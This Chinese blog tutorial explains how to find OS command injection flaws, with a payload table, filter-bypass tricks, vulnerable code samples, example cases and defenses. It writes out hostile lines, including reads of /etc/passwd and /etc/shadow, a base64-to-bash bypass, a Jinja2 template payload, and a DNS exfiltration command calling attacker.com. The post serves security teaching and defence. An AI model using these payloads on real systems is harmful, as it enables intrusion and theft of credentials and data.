如何发现命令执行漏洞?

挖掘命令执行漏洞的核心是:寻找应用程序中用户输入(如参数、表单、HTTP头)未经严格过滤或验证,就被直接传递给系统命令执行函数(如eval, system, exec, popen)的点,通过注入特殊字符(| & ; $() `)或命令测试其执行情况。

漏洞原理与危害

技术本质
当应用将用户输入未经净化直接拼接至系统命令(如system()exec())时,攻击者可通过注入操作符(、&&、)或反引号(`)附加恶意指令。
典型场景

如何发现命令执行漏洞?

  • Web应用:网络设备管理接口、CI/CD工具、内容管理系统(CMS)插件
  • 非Web场景:IoT设备固件、桌面软件配置功能

危害等级

  • 高危(CVSS 9.0+):直接获取服务器Shell权限
  • 横向威胁:可作为跳板攻击内网系统

黑盒测试挖掘流程

步骤1:识别输入点

✅ 显性输入点:
   - GET/POST参数(如`?cmd=ping+127.0.0.1`)
   - HTTP头部(User-Agent, X-Forwarded-For)
   - 文件上传功能(文件名解析)
✅ 隐性输入点:
   - 日志分析功能(读取文件路径)
   - 系统状态检查(ping/traceroute)

步骤2:注入测试向量

注入类型 测试Payload 适用场景
基础分隔符 ;id && whoami Linux/Unix系统
管道符 | cat /etc/passwd 命令链截断
反引号 `echo test` 内联命令执行
时间盲注 sleep 5 无回显场景
环境变量 ${PATH} 变量篡改

关键技巧

  • 使用双写绕过ls -la(过滤空格时)
  • 编码混淆base64 "id" | base64 -d | bash(绕过基础过滤)
  • 盲注检测:通过DNS外带数据(curl attacker.com/$(whoami)

步骤3:回显与错误分析

  • 成功特征
    • 返回系统命令结果(如uid=0(root)
    • 异常错误信息(sh: 1: invalid-command: not found
  • 无回显处理
    • 监听DNS请求(dnslog.cn
    • 触发延迟响应(ping -c 10 127.0.0.1

白盒审计核心策略

危险函数追踪

# Python高危函数
os.system("ping " + user_input)  # 直接拼接
subprocess.call(user_input, shell=True)  # Shell模式启用
# PHP高危函数
system($_GET['cmd']);
exec("nslookup " . $input);

数据流分析

  • 从用户输入源($_REQUESTInputStream)到危险函数的完整调用链
  • 检查过滤逻辑是否允许绕过:
    $input = str_replace(";", "", $_POST['ip']); 
    // 未过滤`&&` → 可注入`127.0.0.1 && reboot`

上下文逃逸检测

  • 文件路径注入:/dev/null; id → 被误解析为命令
  • 模板引擎滥用:{{config.__class__.__init__.__globals__['os'].system('id')}}(Jinja2)

自动化工具辅助

工具名称 用途 使用示例
Burp Suite 拦截修改请求测试注入 Intruder模块爆破命令分隔符
Commix 自动化命令注入检测 commix -u "http://target/?ip=127.0.0.1"
Semgrep 静态代码扫描 规则匹配os.system($VAR)
tcpdump 监听DNS外带流量 tcpdump -i eth0 port 53

工具局限:自动化工具易误报,需人工验证逻辑上下文。

如何发现命令执行漏洞?


经典漏洞案例

案例1:网络设备管理后台注入

  • 漏洞点:路由器Ping功能
    POST /ping.php HTTP/1.1
    Host: router.local
    ip=192.168.1.1; cat /etc/shadow
  • 利用结果:直接输出系统密码哈希

案例2:Java应用路径拼接漏洞

String cmd = "nslookup " + request.getParameter("domain");
Runtime.getRuntime().exec(cmd); // 未校验domain格式

注入Payload:example.com & calc.exe → 在Windows服务器弹出计算器


防御方案(开发者必读)

  1. 输入白名单
    • 仅允许预期字符(如IP地址:^[0-9.]+$
  2. 安全API调用
    • 使用参数化函数(Python:subprocess.run(['ping', ip], shell=False
  3. 最小权限原则

    运行服务的用户降权(非root)

  4. 沙箱隔离

    Docker容器化执行高危命令

    如何发现命令执行漏洞?


命令执行漏洞的挖掘需要结合输入点发现、上下文理解、绕过技巧三位一体,安全研究人员应遵循道德准则,所有测试需获得授权,防御的核心在于不信任用户输入,通过设计而非修补解决风险。

引用说明

  • OWASP Command Injection Guide (2025)
  • MITRE CWE-78: OS Command Injection
  • PortSwigger: Command Injection Vulnerabilities
  • SANS Institute: Secure Coding in Java/PHP

原创文章,发布者:酷盾叔,转转请注明出处:https://www.kd.cn/ask/17685.html

(0)
酷盾叔的头像酷盾叔
上一篇 2025年6月10日 04:29
下一篇 2025年6月10日 04:38

相关推荐

  • 如何用vi命令快速上手?

    vi是命令行文本编辑器,启动后默认普通模式(移动光标/执行命令);按i进入插入模式编辑文本;按ESC返回普通模式;输入:进入命令行模式,wq保存退出,q!不保存退出。

    2025年6月15日
    300
  • Mac虚拟机如何命令行快速关机

    在 macOS 的终端中,根据使用的虚拟机软件执行相应命令关机:,1. **Parallels Desktop:** prlctl stop “虚拟机名称” (替换为实际名称),2. **VMware Fusion:** vmrun -T fusion stop “虚拟机路径.vmx” hard (替换为实际路径),3. **VirtualBox:** VBoxManage controlvm “虚拟机名称” poweroff (替换为实际名称),这些命令会强制关闭虚拟机(类似断电),请确保数据已保存。

    2025年6月18日
    200
  • 如何用命令行启动APK

    通过ADB工具调用APK:首先使用adb install命令安装APK到设备,然后通过adb shell am start命令指定包名和主活动名来启动应用。

    2025年6月7日
    400
  • 电脑重启命令是什么?

    Windows系统在命令提示符输入shutdown /r /t 0可立即重启,Linux或macOS终端使用sudo reboot命令(需管理员权限),也可在Windows运行框(Win+R)直接输入该命令执行。

    2025年6月22日
    200
  • Windows如何用命令连接服务器?

    在Windows中,使用命令提示符连接服务器:,1. **远程桌面 (RDP)**:输入 mstsc /v:服务器地址 并按回车,打开远程桌面连接窗口。,2. **SSH**:输入 ssh 用户名@服务器地址 并按回车,根据提示输入密码进行连接。

    2025年6月15日
    200

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

联系我们

400-880-8834

在线咨询: QQ交谈

邮件:HI@E.KD.CN